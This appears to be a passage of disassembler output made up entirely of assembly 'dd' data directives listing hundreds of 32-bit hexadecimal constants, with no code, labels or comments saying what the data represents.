		dd 86DF6296h, 5E81E467h, 6B05D198h, 0D760F14Dh,	9EBA8ACh
		dd 57F9688Dh, 0ABBE23Bh
		dd 6AB2EFC1h, 727260E5h, 8825ECF3h, 0ECD31A52h,	2858DF7Ah
		dd 772DEAFAh, 9210D305h, 0A575C0C1h, 97F2A78Eh,	4B7711ECh
		dd 2344B9D1h, 9EF5E2B9h, 461454BAh, 4A165E93h, 140C420Ch
		dd 3C9841CFh, 6D5BCDE9h, 7F57612Eh, 6A4B17B5h, 9D69361Fh
		dd 589BC81Ch, 76A4E30Bh, 278EB5ECh, 2FF74C18h, 658ED17Ch
		dd 1C5E7449h, 2FD9B1EFh, 0D1005A5Fh, 0A7A1BCCAh, 0D6FC2EB1h
		dd 67B1697h, 0C532CD20h, 9B36EF78h, 63B26076h, 0DD22C0B0h
		dd 0AD6EF591h, 0F701DB7Ah, 0CD5BC18Ch, 15005A5Ch, 4918D51Dh
		dd 9D182D3Eh, 2FCF1A0Eh, 2392C05Bh, 0DB321F1Dh,	0C751ABC5h
		dd 5A0E8FBDh, 301981Bh,	4FEED5C1h, 0D27AADB0h, 7D3FB602h
		dd 0CD65598Fh, 162C47B6h, 7B3DE413h, 0AE2E133Eh, 8B1CC170h
		dd 0EB27CF30h, 0BC0DC003h, 9D7BD8D7h, 3B91B1EEh, 0CE1BDFFBh
		dd 29F2BACFh, 881478FDh, 317BE93Bh, 2BBD9F4h, 1FEE2C55h
		dd 0C2E68821h, 648341CCh, 57A7AD1Ah, 0C47E618Ah, 683A27CAh
		dd 4E0077ADh, 7018359Ch, 9DCCED63h, 0C3BD060Eh,	0DCC83D86h
		dd 4C35361Ch, 7A124255h, 0C95FA67Bh, 0FC5007D6h, 0D9CF882Eh
		dd 7C456A47h, 6DBE696Bh, 365DA867h, 0E42CA1B6h,	9FC44315h
		dd 59F58AA6h, 3961FC67h, 8EAB4C23h, 0F28D7579h,	0E3644804h
		dd 61DD9B0h, 50684AA4h,	11BCE12h, 4F3EAA19h, 0D2DAB629h
		dd 0BDE6312Dh, 0F8CFBB95h, 7772E64Eh, 21EF4020h, 0C5C3746Fh
		dd 0BFF1079Ch, 0B4F7AC92h, 1710477Ch, 5A6EFD7Dh, 350E5313h
		dd 0F99A6E12h, 0AAC501CEh, 1A945D0Ch, 533C2992h, 207E3084h
		dd 0C08F55F3h, 3A2F943Eh, 38FA9D99h, 0B4B68DEAh, 0DC3D770Dh
		dd 0B3C96119h, 4CD3B71Fh, 8BD347BEh, 44EC5938h,	57E7714Ch
		dd 2E691086h, 602E107Fh, 1F1F59B8h, 119A555h, 586431E2h
		dd 0C5ED8F10h, 8B82039Bh, 2D7C5544h, 0FEFE5D5h,	0E3E68B21h
		dd 248347CCh, 0CB388116h, 16B6A727h, 0CB3A07D4h, 4EFFA85Eh
		dd 5DBD5D48h, 88E46C1Bh, 28A1256h, 0CB8D29BAh, 0B33EF84Ah
		dd 0AD2965C0h, 91F380B5h, 63E8E98Ch, 2AF780E8h,	44C555AAh
		dd 4E823277h, 2FA46897h, 735DB3Dh, 293BC81Ch, 962D3EBDh
		dd 0ADB5FBC7h, 12141123h, 76D0E50Eh, 1C7B9542h,	0C06C3AB8h
		dd 0B86A1EC2h, 0B587457h, 49327A69h, 81406A09h,	320799A3h
		dd 723935FDh, 4BA7166Bh, 4DDA6086h, 5A6FFDEEh, 0A85E34B3h
		dd 88D23966h, 10EAFE09h, 0ADD1D02Bh, 1E1BD35Ch,	668B69B3h
		dd 2BFB23CAh, 0BB7FB4E4h, 4771A23Ah, 4A6E1207h,	0EF7B38AAh
		dd 0C25EB256h, 7FF80A0h, 23C75ED9h, 2E94268Fh, 0EE814749h
		dd 95DFC338h, 9E1ACEE5h, 0C3742015h, 8F43B330h,	0DAD926D0h
		dd 0E2C8C44Fh, 0F665B1E6h, 0BC19D6C6h, 0EFE1BCC6h, 0EAEB876Eh
		dd 6FA2D610h, 4DE2853Bh, 0FAB43A4Bh, 2C4D958Fh,	9BF7527Eh
		dd 348A7E60h, 37A242C2h, 582F819h, 7D510B17h, 306D1FE9h
		dd 0F71886ABh, 9F8B8BDEh, 0DC7A607Ch, 4CA761D6h, 539D49BAh
		dd 8AE32584h, 489F7887h, 3D58CF8Eh, 781A604Fh, 0C647C12Eh
		dd 0D64DDFCBh, 95784BB6h, 39FC27E3h, 6A924C0Eh,	529966C5h
		dd 80F73A7h, 70C16A87h,	0AF4E6217h, 5B61B118h, 0C840DF6Fh
		dd 3AE05BE2h, 0AB14AE0Bh, 0C59117BBh, 27ABDC26h, 12CFB3B8h
		dd 0D64D36B8h, 8DDA4696h, 3C38BC51h, 0F81B3C19h, 0DBC20F1Ah
		dd 0EAB992ABh, 9A5C85E5h, 5E43F2F3h, 9171E8FBh,	75DFC075h
		dd 4CF058BEh, 0AF435CCAh, 5FA136EEh, 0ED709843h, 2C2F7B7h
		dd 109231C4h, 1838C12Eh, 38B2DEFDh, 0DBCC611Ah,	7CDDB71Eh
		dd 8BEE9288h, 12BF693h,	370BB177h, 7022C0B6h, 0DAA66226h
		dd 2D07E100h, 0BDBDE6A7h, 26A4B4BEh, 4C69FBA0h,	42879DDCh
		dd 55ED9B04h, 6FC48EABh, 0E64D3623h, 0EDDA4996h, 0B38C9AE9h
		dd 9DE27615h, 6D5AA223h, 441D7BD5h, 3065E86Ah, 0F71806BBh
		dd 78948BBEh, 4B8BB6B9h, 5CC9E927h, 0AD475F2Fh,	0B505C8EEh
		dd 0FDBDA7E6h, 0B7A7B52Eh, 142F9AA6h, 4DA8F1D2h, 2BB3EC57h
		dd 0A55ADB3Ch, 0C09CDC1Ch, 3157FC8Eh, 0E4D741DDh, 0A2844CCEh
		dd 0FF320068h, 7AB89DF8h, 0B632B117h, 0F8C75A44h, 4DE43052h
		dd 4151F5A1h, 0F878AD41h, 0CCEB30DEh, 42C665FCh, 0F3B29977h
		dd 0CBAF75ABh, 5143759Fh, 7033EB4Eh, 0FDD3FFE5h, 0E8C9645Dh
		dd 9A5CD216h, 5D292F28h, 0FE1C3ACEh, 75D91E04h,	2434013Eh
		dd 0AF3E5FFAh, 4A2430EEh, 0E07C0Ch, 18E3C3Eh, 0B40EAD35h
		dd 71387746h, 0FC29A067h, 0AC8A0E49h, 0ED3303F6h, 6BC09E5Eh
		dd 0A2C0D16Eh, 18FC7826h, 1D30597Fh, 271E6242h,	8081B11Bh
		dd 40784F49h, 0B5ED21A6h, 654F26E6h, 0F46161EDh, 0F4E8C057h
		dd 37CF0669h, 93BD640Ch, 3DB0B644h, 9063739Eh, 787E749h
		dd 0CDC2767h, 1701F7F3h, 0C005E393h, 0CA09EC1Dh, 0EF21F461h
		dd 0E000CD79h, 68C1EBACh, 51EAB616h, 0C31FCE7Bh, 2DEE835h
		dd 3D743A4Bh, 8547EDA5h, 6446463Eh, 35B355DFh, 2432AEC0h
		dd 0F924C1D2h, 7C6F0324h, 93C2A54Eh, 7ACB5931h,	0D9281080h
		dd 146E4690h, 6BE44EB6h, 8C905A49h, 0C1B6DA62h,	0F4449CF4h
		dd 8438FD57h, 5E3ECF5Bh, 3ABA3E0Ah, 80C7635Bh, 989C411Fh
		dd 47F51197h, 130E9949h, 751BFA1Ch, 0D784D75Ch,	58D01281h
		dd 7619ACD3h, 82839F7Eh, 1E98DDE5h, 4CB737D9h, 61BA5DB0h
		dd 5E41617Bh, 0ED30904Bh, 75D2DB69h, 0CEA5D4Dh,	2D675EDEh
		dd 0E7EE64EEh, 0D63F171Ch, 0E5CE970Fh, 8952444Eh, 0DBDC9AF0h
		dd 0CD7B26CEh, 0EABCFF80h, 17FB9DE8h, 0DC113426h, 0A2414C3Eh
		dd 26645BBEh, 0CA141349h, 13848298h, 8ABB06F5h,	4D5337D4h
		dd 0B3B3775Bh, 7C25D82Eh, 0E5BB6A6Eh, 0A81EEFABh, 98D30176h
		dd 0DB142808h, 0D37E350Ch, 0E8C2E918h, 82831F51h, 1E97DDC5h
		dd 4CB13798h, 506B4D30h, 4B4B8B91h, 36C87E3h, 0DD6DFC1h
		dd 85FBACF0h, 89EF312Eh, 274ED072h, 0BC1AEF59h,	0E1D03750h
		dd 0D6D39126h, 68DE4D88h, 762EB331h, 65F9477Eh,	76FB9D1Ah
		dd 0C33167C4h, 5CEDDF35h, 0B0B4CE45h, 0A1E8A154h, 90016598h
		dd 1F4420E5h, 0C8C7D77Bh, 4337EB4Ch, 0D254ED0h,	5280690Bh
		dd 40F32F5Dh, 0FD135AFDh, 8714D850h, 677E5571h,	9D1928D3h
		dd 0DD14633Bh, 0C7031A26h, 4D4CCC97h, 2C0159C5h, 0B450D421h
		dd 9893710Ch, 0A8041CD2h, 0E0F94D40h, 32FE21DAh, 26B3499Fh
		dd 0BF5F9349h, 142F481Dh, 8B8FEB0Bh, 0B6B2F574h, 0A366B39Dh
		dd 5F89007Ch, 61DBE8DAh, 0D3ED21F7h, 0A6F067AEh, 4C1131B6h
		dd 0F1EBB6DAh, 823CFD87h, 6DEDCF3Bh, 3FC4882Bh,	0C4AEF23h
		dd 5153E971h, 3B80AD3Bh, 0CF0ED823h, 0E2D3ADEEh, 0A714C842h
		dd 0D37E7574h, 0E9A66928h, 13688875h, 0B9EDDDF6h, 1FAD33FFh
		dd 52B14DBAh, 8D2F2D84h, 2DF58CA5h, 9BB718C3h, 7B03A04Fh
		dd 88EA412Eh, 214E9072h, 191A6F59h, 0CC126CBDh,	2A82F2C7h
		dd 84DAA0A4h, 3071A9Dh,	97910057h, 0E1279D9Eh, 7F99E102h
		dd 0FB805A9Dh, 4E79BCEBh, 2EEB86ADh, 0BE78E8EDh, 0F6538F24h
		dd 7E39305Fh, 0D9DAAAB2h, 0CECAB3F9h, 2DF2E68Eh, 7157BA4Bh
		dd 74564219h, 47FEF8BFh, 556EAAEDh, 1066C6F3h, 0ED6C60ABh
		dd 21EC8D66h, 0B33F32E9h, 0AFF4F8D0h, 3E5EBB94h, 575B29Bh
		dd 0E1B8EBC5h, 0BFBBDB1h, 8BC2B9ABh, 0A53E5898h, 0A0246485h
		dd 5D543AB3h, 6EFFE8B4h, 6ECCA5F3h, 0D87B4C1Dh,	0A572FC38h
		dd 4ABE62FCh, 5A41B0F1h, 5CBA9E67h, 3BA4B7B1h, 5B91BFC9h
		dd 437B14A3h, 8A625793h
		dd 0E3BCB1AEh, 234D8EC9h, 10689D0h, 2D56A266h, 363C5C3Fh
		dd 7466C8AEh, 0E8FDE8BDh, 5A9D2994h, 0C392E5EBh, 4F746965h
		dd 0C7FA887Ah, 4895DE28h, 0C89E5B45h, 5B16E980h, 138F27Eh
		dd 2737EFC1h, 823B8567h, 0E1342877h, 0EC4F139Fh, 0C6235BC4h
		dd 0B982C81Ch, 0B60137ECh, 0C65A4CFh, 0D7679A51h, 0BBC4E8DDh
		dd 47E29D00h, 0D7453582h, 2E50A51Eh, 23B4CE09h,	0AD2B11EDh
		dd 45EEEB5Fh, 86D1D981h, 0ECC1B913h, 0BE28E8Ch,	5DDA9DADh
		dd 5047A699h, 80884D4Ah, 89D7B6E6h, 52C56F48h, 5A61D565h
		dd 10666703h, 78C8584Bh, 4A72345Dh, 5C98E79Ch, 5F332E3Ah
		dd 4BF7A091h, 29DBEE3h,	0CF770C3Ch, 0C7D6A9DAh,	789331D6h
		dd 0FD58C80Dh, 0C3CB1E9Ch, 5A2D4B96h, 0BA0EEAD7h, 7C58C015h
		dd 92EE48A1h, 0BF135076h, 0BCE39D6Ah, 5381B0DAh, 0B63FA695h
		dd 5964CFD2h, 0AEEC1C62h, 209EF22h, 86D18963h, 0FD513C94h
		dd 0ECA27066h, 2825615Ah, 7DD34DFFh, 0B65572Fh,	0E2C33F3Fh
		dd 7F020D4Bh, 4A60004Eh, 629E58F4h, 1264F80Bh, 0C17AB669h
		dd 84732229h, 0F9D15A5Ah, 436669C4h, 90C07B10h,	0A707623Fh
		dd 927B400Fh, 82C5E4D1h, 124D3072h, 0F5FC3659h,	0E93B27E3h
		dd 0F70F1750h, 53CAF5D6h, 8D4F4C1Dh, 0B3616A8Fh, 8E9B48B3h
		dd 0D30DC5F1h, 0A37DC2F2h, 916A5A58h, 2FFC69E5h, 1084EB5Fh
		dd 70D389CBh, 6D293C07h, 6BB21AF2h, 0DDA4B55h, 0D22FC498h
		dd 40F0C150h, 74A6C4FBh, 0EA9E6AB3h, 0D33BF595h, 0CEA090FFh
		dd 0C71548B8h, 221B4E19h, 4CF03583h, 5C334F3Ah,	888B2A84h
		dd 0E1DCBD76h, 2B02FB6Dh, 0A8B9D4Ch, 6886D2E8h,	1D3074C7h
		dd 27B068CCh, 0A09377D2h, 0FCCC264Dh, 0C5F966CDh, 0FFB7CF2Eh
		dd 0AB914503h, 8E97D88Dh, 93B9B064h, 0CA4055E6h, 22645846h
		dd 0A46186F9h, 0B48C9EC7h, 0FA464DAEh, 7AF9B82Eh, 27C78F14h
		dd 7DC470C7h, 0BD93EF67h, 0AA1922BBh, 77D34DF5h, 62FD673Bh
		dd 0C2750A6Dh, 6273EDE6h, 7661C8Bh, 327123A5h, 8FD8D920h
		dd 0F030DC10h, 0C0516DD7h, 0BF2973B6h, 0C7528BC2h, 9D0E6DE6h
		dd 0F4E0B12Eh, 0F1C597A0h, 21DA74A1h, 8A5D6EE3h, 595E09A4h
		dd 12FD59E3h, 873F4DA1h, 0E451008Ah, 1E873914h,	2EC93319h
		dd 50895E90h, 4A23AAFh,	7769A6C4h, 13DB2B01h, 0AB5750F0h
		dd 12B068DDh, 70A29CF1h, 51C8FFh, 0B9A63C7Bh, 0C31528D7h
		dd 8CAF227Ah, 1077B995h, 0D488C45Ch, 10638DA3h,	7AC95B8Bh
		dd 227F58E6h, 397B3903h, 0A8A2B2C9h, 0B6DA017Bh, 3A3AB1F3h
		dd 0F07B84Ah, 0F624625Bh, 0A88CC922h, 83E65867h, 793FE18Eh
		dd 47B6E0BAh, 87DBFF19h, 980BA596h, 69D4C1C7h, 0B6254507h
		dd 71B6144h, 0FEE1F584h, 5B935A8Eh, 569BCA37h, 8A148425h
		dd 0D070AEA1h, 2744202Eh, 6F39C0E3h, 0D3460E36h, 0EE8C875Fh
		dd 52FC197h, 0D00D8610h, 77146A6Eh, 7C6C4EDh, 129D51E2h
		dd 0F530A240h, 29AB6EFh, 0DDB7E911h, 7DDE60D6h,	0FB871385h
		dd 8823F90Dh, 42522AA6h, 0CEC6983Eh, 83E5E358h,	252822Eh
		dd 818E2847h, 0D8205ECCh, 3022671Ch, 920EE85Fh,	0BC82D069h
		dd 5970B3EAh, 0D2D5C40Dh, 0E59B18C2h, 3A044F14h, 4480DF66h
		dd 0AAB4CDBFh, 64EB874Dh, 0F101B279h, 0EE8ADD3Fh, 563BD61Fh
		dd 2F3B2835h, 0CB895BF7h, 98F3E3Fh, 6479DA4Fh, 0ACAFA09Fh
		dd 63FDDA08h, 7862E263h, 5B60A6F0h, 666523ADh, 0CA3C4CBDh
		dd 4C862582h, 0D424159Ch, 0B9A02A0h, 0A38FA5EEh, 3153773Fh
		dd 80DD79C4h, 0F4FF820Ch, 0CC81E13h, 7597DD69h,	43C0F10Bh
		dd 0C4214E4Fh, 2C89BB7Eh, 758A15CBh, 24C90348h,	84E8C65Fh
		dd 0AEE95581h, 4D405ACAh, 42642FB9h, 0D42186DAh, 5B94EA1Eh
		dd 3ABB0C9Dh, 6FEDCBD7h, 0F3B01B25h, 0D432182Ah, 6E2C4597h
		dd 885F9Ah, 88BB75F5h, 9A025736h, 0A58134E4h, 7B0B3D44h
		dd 7A8AE36Ah, 326F0C4Fh, 4C813AC1h, 5E96A7C5h, 8FF5E87Bh
		dd 7F442EE7h, 8E1C5E5h,	7CDB6535h, 3745F1D1h, 1F8EEE37h
		dd 0C5C15BC4h, 0A98EC81Ch, 96790BACh, 0A11BFCCFh, 0B978ACCBh
		dd 4F5768DFh, 0E7538D06h, 47A1B0DFh, 25005AEBh,	821957B4h
		dd 95D0FA72h, 6868624Bh, 0C3328DA8h, 57193D27h,	0FEE39B75h
		dd 8B8999AAh, 0AB838E97h, 0E7655D5Fh, 0E0C31355h, 7037BA8h
		dd 5A614615h, 63F1E543h, 0D6195C71h, 2DAEDC49h,	4C80A6ECh
		dd 80DF27C5h, 0CEE71084h, 56049F3h, 1A51C46Eh, 33337DB0h
		dd 6AEAE1FAh, 8E0FC865h, 0DB3CAEA1h, 6B1A341Ch,	51E3D4C6h
		dd 0B956A2E3h, 0A97CACCBh, 0BB04808Fh, 51F462E6h, 1A1CAC7Fh
		dd 5A3FBAE8h, 0FD2233B1h, 7C6179BFh, 1BBA6B46h,	0E4FDD06Fh
		dd 997F11F9h, 0A64D72B3h, 2DDB9F7Ah, 8DD33DE4h,	285DB4A6h
		dd 88D303A1h, 0CC86FE43h, 0FF09470Ch, 10732D1Fh, 0ED7B631Bh
		dd 2E868986h, 15833835h, 0A024C31Ch, 1B91EE64h,	0FA430C9Bh
		dd 1A36C02Eh, 811345B0h, 0EBBB112Eh, 0F17054E9h, 75D19ACAh
		dd 2033BEB8h, 6BEE428Ch, 34B2A52Eh, 7A86A4CBh, 8DF2008Fh
		dd 974BA8F9h, 4499A00Bh, 0CD905A3Bh, 6CE4E628h,	87147BEDh
		dd 0C43E0380h, 0DA3827F4h, 48F9B8CFh, 83B2F570h, 3DDAF2AAh
		dd 0A85EB969h, 0BFF2A959h, 5CB873D3h, 676BAF1Ch, 327164A1h
		dd 1D60CDD1h, 0ED67FA86h, 36A9DAE6h, 9707F860h,	256549B0h
		dd 0B49DF284h, 0FBD22DF3h, 0CE695BDEh, 391641C4h, 0FC84E12Eh
		dd 8949898Ch, 0D0B79E77h, 57E137ADh, 44221F3Bh,	0CADA8990h
		dd 43044CCDh, 0EBA806DFh, 30EB188Bh, 47814FF5h,	0AA4041A5h
		dd 0F9E96B0Fh, 7FEB9999h, 0EFEF82A8h, 6AD3C83Bh, 27293EEBh
		dd 33B27237h, 822157C2h, 0FD173D96h, 2C841C06h,	186C4D1h
		dd 37030FFBh, 0E2897471h, 0F760EDC0h, 0C6F28A7Fh, 5792C939h
		dd 4C08B6A1h, 0F05AB6A5h, 0B49B426Ch, 0EBA32C0Ch, 0CE72E956h
		dd 48A3ADA0h, 8EE2CED1h, 0F66F68E2h, 21AA8EB6h,	11303700h
		dd 9665C354h, 49EA7FEh,	0FD8FA44Bh, 0DF12FF70h,	0C300F517h
		dd 0C0D9A005h, 0F3FFA52Eh, 9FE4B7D9h, 0E9448662h, 2D8409F8h
		dd 166FC343h, 3738560Fh, 0EC5AF275h, 0DE256451h, 0F93BAFADh
		dd 0A8F2BAA5h, 772CFE68h, 0E8FD37E8h, 78D0DF2h,	78E9D820h
		dd 12BBA2F6h, 3941B1D9h, 0C94A3B69h, 5F58A9C5h,	1B6FE384h
		dd 766FB0F5h, 31569CBBh, 0F8331D4Fh, 5AFB2134h,	0EB26203Eh
		dd 0AD4F0E49h, 88DF57E3h, 0E003FF1Fh, 45C1A596h, 161044A3h
		dd 3B1C8D9Fh, 3462E7h, 0AF0BFEEDh, 279903ECh, 808432D7h
		dd 0B7EB296Eh, 2F85ECB8h, 12594BB3h, 3F3B566Fh,	9C5AF5B5h
		dd 3E2564D1h, 815AACAAh, 49588006h, 0DE805F6Bh,	54D8B655h
		dd 0DE6E4F8Ch, 9D60AC7Dh, 12778B36h, 486CB3E9h,	0FC9AC429h
		dd 29B948B9h, 8BDBE1C1h, 0EE88AF87h, 0DE4664AEh, 8CF8028Dh
		dd 0FF34242Eh, 1D70D412h, 3FC2A2E9h, 75DD5260h,	2B0BCC7Eh
		dd 0FC8AA545h, 0D9108E35h, 5AB3E9D6h, 66EA9D07h, 0D09916ECh
		dd 0A540DF0Ch, 7EE52AD5h, 6A239195h, 0C101151Fh, 0FB05DC4h
		dd 9ED13E5Fh, 2B4D8A1Dh, 8DDA4D25h, 0D13BA891h,	0BF30515Bh
		dd 872CF470h, 17030E80h, 0A9D94C05h, 5DE5B20Ch,	0BA4C6B5Ah
		dd 0A794A66Eh, 249E4F29h, 0B0AB9B71h, 0B490BB6Ch, 91A7EC0Ch
		dd 26A96BC6h, 73E74E50h, 180E81ABh, 0BDC990Fh, 0EC4F7659h
		dd 9B78481Ch, 0D9FE2BBh, 9A9B5D15h, 701D7DC9h, 847DC561h
		dd 2F531EF4h, 5960A269h, 434DB144h, 819BC7D6h, 0F9EB86EAh
		dd 4572DB5Bh, 0F54F2C13h
		dd 0AAFEB140h, 1BBF0CCAh, 0EDDA5F5Dh, 1211DF86h, 0DAE6C6A5h
		dd 0F6AD480Bh, 0C45B7F0Bh, 618AA401h, 0C4919239h, 0ED23EAD5h
		dd 1360AC46h, 0BAFC7C5Fh, 0BFE50531h, 0A0861F57h, 43875D1h
		dd 30077867h, 4EBD5A4Fh, 0B53235Ah, 86731794h, 0F5E7AA89h
		dd 0EEDDC3B5h, 0C9E2D0C6h, 0F7ED196h, 0C6E74D21h, 60D91575h
		dd 15D38D08h, 0C0A1B0CCh, 54FF9BEFh, 1137D955h,	9D14AC8Fh
		dd 0FA450BB8h, 1E508214h, 1738CCF7h, 0CBA78675h, 36CA8D57h
		dd 0AE3BFB65h, 55F29D5Ah, 98AC4F21h, 920CB48Dh,	0A59D3ADBh
		dd 9D927380h, 675FAB7Ah, 8277A5A5h, 24683A95h, 0B08F9914h
		dd 0B74BBD6Ch, 7737E00Ch, 96768C25h, 62D1F6EEh,	8FA8A273h
		dd 2FCF87Ah, 177B7659h,	704AB7E3h, 796F174Fh, 80A6E07Fh
		dd 0DA27CF2Ah, 0B10DC00Fh, 64E39C62h, 5781B0EFh, 0AB3CF615h
		dd 6231DA1Ah, 4D4F7E61h, 0B9ECBC1Bh, 0EAABDB49h, 0E0C6F9A5h
		dd 7BB212ECh, 2DDA7D1Fh, 917F8590h, 0C0678B55h,	83C4BFE0h
		dd 0FF136745h, 5A62CE82h, 1462EA88h, 15710ADDh,	0FAEBDA79h
		dd 986EC579h, 25814AB9h, 20A56D44h, 0EBD76952h,	36C795D6h
		dd 0BB87CC4Fh, 153B611Eh, 0FD49988Fh, 264007B6h, 1D23C7D3h
		dd 7EB79E4Fh, 8BC2B068h, 26EE5CD5h, 4E84C61h, 308E6258h
		dd 42E1B0E2h, 5BB43207h, 6D1B2208h, 9F148289h, 19F02AC5h
		dd 7E6951E3h, 0C7E1D0CFh, 32EB870Ah, 3D31C85Dh,	2D01FE07h
		dd 80C57145h, 77F54474h, 17F34F39h, 9EB90C05h, 1E3631ECh
		dd 125112CBh, 0D4505A09h, 1724CD60h, 451A1F06h,	79D449D4h
		dd 29FBD505h, 31FE943Eh, 0D667620Fh, 0FA9DCBC6h, 88CC0D98h
		dd 0E4137641h, 0CBA6481Ah, 2F851237h, 0A76CA58Eh, 9248E11h
		dd 0AECC663h, 0D0951AC7h, 9D58B09Eh, 0B840A936h, 879B37EEh
		dd 3D7FB86h, 0B74D20Dh,	75604EABh, 0F39ACBBh, 0E187D035h
		dd 0D1321E2Bh, 0B42F69D0h, 0EAFCD292h, 0CD25A6FEh, 0FF5D27F1h
		dd 0A46D3333h, 14432A98h, 22BA673Dh, 22E157B7h,	997855A9h
		dd 267D5545h, 1579E43Bh, 0CBCFBF99h, 63680CEh, 0EF4469A5h
		dd 0B17B343Eh, 0F08D0217h, 579C2102h, 0F6E2750Fh, 2AA994B8h
		dd 9CEB660Eh, 0FB57114Bh, 11252A35h, 10A99EE1h,	977C5F09h
		dd 4359A7FAh, 0AA035E4Dh, 0C9FC667Dh, 547B058Fh, 4ED3FBC1h
		dd 829F9EFh, 234D1461h,	29050AB5h, 91EC145Eh, 4011955Ch
		dd 0F04C87D1h, 92CCBF35h, 0B38A712Dh, 625068AEh, 2F55654Bh
		dd 0C9084432h, 0B564216Ah, 0A46BD5D0h, 0BFAC1D94h, 8BD51E0Ch
		dd 0E9C60456h, 23CDF2A0h, 0E4A1D2h, 79173CA6h, 56C16AB0h
		dd 0F8EF1F11h, 0EC6B4EC4h, 5F4B4DD7h, 3E06B205h, 0D5C900D6h
		dd 0ACB46095h, 0AA08E971h, 259B0904h, 26A775EEh, 1697AFF8h
		dd 0B209A108h, 0B2B82CBAh, 3A8FD603h, 90B2B3BBh, 0A9808440h
		dd 0EED51D16h, 858C916Ch, 0E2A326B6h, 0F77ED5DAh, 53C6EBB9h
		dd 6249B343h, 2126E621h, 7C0C5DA2h, 0ACEE74EAh,	0F5B990C6h
		dd 821EA809h, 8CF4E6F0h, 90CA7D88h, 2C3E36B2h, 49F29229h
		dd 39016B64h, 84CBD755h, 8E4B3338h, 973D037Ah, 0DA40CFB4h
		dd 595FAD50h, 8729087Fh, 10A461CCh, 0A32ABADCh,	0F9430BE7h
		dd 0F8B7CF89h, 945E28h,	0C1817C29h, 2D786491h, 123DB1DDh
		dd 774D5h, 6D84102Ch, 9AD88570h, 0BF5589EAh, 3EB3BFD2h
		dd 62DC0017h, 0A4F2CCE9h, 596CB14Ch, 22B5CEBEh,	7047112Eh
		dd 47725516h, 67CBBF73h, 2A1AFAF1h, 18701A0Ch, 558D24FAh
		dd 0EA912872h, 57FF9279h, 720B626Dh, 55996101h,	0FCE97515h
		dd 1E9C94CCh, 2B2B652Ah, 0BFE08D54h, 7C367DEAh,	131A7CBCh
		dd 46D8EDD8h, 24159657h, 24377CFBh, 0E849C95Eh,	0C2957793h
		dd 0AAB84C85h, 2AB498EAh, 864FEBC8h, 394DE02Eh,	2957658Fh
		dd 0BFBB0AA2h, 6378A6A4h, 50D421F7h, 0D32C616Bh, 99096DAFh
		dd 6AEFE585h, 5C18ED46h, 0ACA111ADh, 65E0FF4Ch,	6D3F8284h
		dd 0CDD8A733h, 650AB965h, 8AB13072h, 0CE841DA8h, 29D8E864h
		dd 0D8C5514h, 0FACAB276h, 6ED2E8C8h, 0C3D32EAFh, 0CDF8B28Eh
		dd 6C24895Bh, 75C46075h, 4DB5E590h, 56F6C180h, 85B4D1E3h
		dd 1AEBFBB4h, 9E09949h,	563E316Ah, 0DEC5861Bh, 1C4B1BF2h
		dd 0EF2FD959h, 24D59B7Bh, 0BF82652Bh, 0D039C5Eh, 0E92B5B2Eh
		dd 0B376BBADh, 0FAD0F138h, 3C22745Fh, 274E0BB1h, 4AA4A369h
		dd 6770FA03h, 96EA0F7Bh, 54643676h, 299C2CC1h, 0B4B7E83Ch
		dd 0DDA41ED6h, 1C8028Ch, 80D9DBDh, 0B1217774h, 0A4612FDh
		dd 3E56AC37h, 2216B255h, 0D6A90357h, 0A3BE604Eh, 546E4A60h
		dd 0ACC6B33Dh, 0A1CCC80Ah, 2297A5FEh, 2F009B04h, 0CA4455E1h
		dd 4F3B5FC8h, 6FC82F48h, 80441926h, 922563A9h, 3F68FEA9h
		dd 774B7717h, 0C76CD025h, 0C31B44F9h, 0CBF0D177h, 29678CC7h
		dd 0E0B8D579h, 0BA98D6ACh, 1D617EBAh, 0AB150121h, 261DEB0Ch
		dd 0A779D3D1h, 0A70C518Dh, 0CE3A1414h, 7E8BAD09h, 0F021EBBEh
		dd 8320C80Ch, 0F1BCF8AAh, 0A83AF4A8h, 8E6F4D84h, 235EBFDCh
		dd 13175B8Dh, 0D40A5BA7h, 288F56F0h, 6CE422CAh,	62995F6Fh
		dd 67AD1DFh, 8A530D5Ah,	0C4C5C5E3h, 43357633h, 18E604A9h
		dd 2FB19971h, 0BB8B0C24h, 0DFDC645Ch, 0E9064A34h, 5727E70Ah
		dd 1C630E56h, 2CA32168h, 0A3D05173h, 0BB9DD819h, 708B2995h
		dd 0AB1D0D46h, 78EAE137h, 4C7AAA31h, 60CF5DB1h,	0F48AFCD1h
		dd 0F6CB0D32h, 0ACE43C4h, 0CBAA3CF5h, 0ABBBE8D8h, 0FA35BB0h
		dd 742BC8AAh, 0FC0003EBh, 0DD1498CEh, 0ABD3F11Eh, 5640390Eh
		dd 0E9E92417h, 1FEBA9FFh, 146D7554h, 1944B5FFh,	8FBF16F4h
		dd 0B76B3ED8h, 0F84B0AE6h, 12276509h, 31060F8h,	1D16653h
		dd 0E937445Bh, 2FD3F90Eh, 6DB3C3D4h, 27173B81h,	0A3D2D5BCh
		dd 436DA1ABh, 9208792Fh, 46B7F7EEh, 4D5207F7h, 0BC2DDFC1h
		dd 0ECE0ACA5h, 76153128h, 86B49385h, 52CFD15Ah,	0FC3037F3h
		dd 0FBBEC0A2h, 234A4B8h, 0F5A0C838h, 0BBC1FC34h, 0D39B666h
		dd 0E7F538E5h, 0F47F908Bh, 6FE01FFFh, 6C153C19h, 27EE37Dh
		dd 7EEC2AC5h, 0C8C53813h, 26C33EB4h, 424F85E6h,	2DD99E75h
		dd 0BF8A5005h, 35048652h, 0E90B7317h, 9CD5018Dh, 6D573E66h
		dd 2F23E1B1h, 0A85FBFD9h, 0BD96F3ECh, 7C32293Ah, 0DF193E0Eh
		dd 0CD6B3570h, 832813FFh, 0A2B84DB4h, 5D30AC25h, 0A974B789h
		dd 0C80FF7F9h, 0FDB34856h, 98291D7h, 75B7571h, 0D0CECE85h
		dd 1966FAD0h, 110F1140h, 2A7BA395h, 0A91FFA80h,	383407EAh
		dd 1DD674F3h, 0F3414E03h, 1CB7AAB7h, 3F34D9BAh,	0D6463B7Dh
		dd 4236F1B1h, 0E8C6C8A6h, 43A8796Ah, 47C5896Ah,	15EC02CDh
		dd 0D9F58C89h, 6F73653Eh, 0A6E2EE5Eh, 0D226407Ch, 993BF3D6h
		dd 99BB926h, 61E83907h,	0AFF5FC32h, 18BE1833h, 0D7526009h
		dd 54A050D8h, 0FC462C1Bh, 0F7B5A45Dh, 78D960FBh, 0FBBCEB1Eh
		dd 0DBDFA833h, 1ED9C19Ah, 4B68050Bh, 0B2DB940Ch, 948A77A8h
